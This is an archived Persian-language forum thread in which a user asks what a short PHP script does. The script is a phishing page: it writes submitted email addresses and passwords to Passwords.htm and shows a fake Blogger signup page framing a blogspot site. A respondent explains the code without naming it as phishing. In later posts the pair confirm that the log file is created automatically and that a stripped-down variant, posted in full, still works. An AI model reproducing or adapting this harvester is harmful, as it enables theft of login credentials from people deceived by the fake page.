PDA

View Full Version : این کد php چیه؟



amir6771
سه شنبه 31 شهریور 1394, 16:24 عصر
دوستان میشه این کد php رو به طور کامل برام تشریح کنید که چه کاری میکنه؟


<?php
$fp = fopen("Passwords.htm", "a");
fwrite($fp, "Username:$_POST[Email]\tPassword:$_POST[Passwd]");
echo "<HTML>

<head>
<title>blogger:Creat your free Blog</title>
<FRAMESET cols=\"*\">
<FRAME SRC=\"http://...-genius.blogspot.com\">





</FRAMESET>";?>

Unique
سه شنبه 31 شهریور 1394, 17:51 عصر
فایل Passwords.htm را برای اضافه کردن محتوا بهش باز میکنه ، مقادیر Post شده Email و Passwd را با یک Tab فاصله توش مینویسه و متن بعدش را توی مرورگر کاربر چاپ میکنه. البته باید فایل را هم ببنده که تو کدی که شما گذاشتین نیست.

amir6771
سه شنبه 31 شهریور 1394, 20:07 عصر
فایل Passwords.htm را برای اضافه کردن محتوا بهش باز میکنه ، مقادیر Post شده Email و Passwd را با یک Tab فاصله توش مینویسه و متن بعدش را توی مرورگر کاربر چاپ میکنه. البته باید فایل را هم ببنده که تو کدی که شما گذاشتین نیست.

فایل passwords.htm خودش به طور خودکار بعد از اولین login ساخته میشه یا باید از قبل وجود داشته باشه؟

Unique
چهارشنبه 01 مهر 1394, 01:40 صبح
فایل passwords.htm خودش به طور خودکار بعد از اولین login ساخته میشه یا باید از قبل وجود داشته باشه؟
چون توی تابع fopen در پارامتر دوم از a استفاده کرده اگه نباشه خودش ساخته میشه.

amir6771
چهارشنبه 01 مهر 1394, 13:48 عصر
ممنون از جوابتون.

كد html كه بعد از echo قرار ميگيره قالب صفحه اي كه اطلاعات يوزر و پس در اون نوشته ميشه رو مشخص ميكنه ديگه درسته؟ يعني چندان اهميتي نداره كه چي باشه؟

مثلا اگر يه html ساده مثل زير باشه كه مشكلي ايجاد نميكنه؟




<?php $fp = fopen("Passwords.htm", "a");fwrite($fp, "Username:$_POST[Email]\tPassword:$_POST[Passwd]");echo "<html><head><title>passwords</title></head><body></body></html> ";?>

Unique
چهارشنبه 01 مهر 1394, 17:46 عصر
قائدتا نه.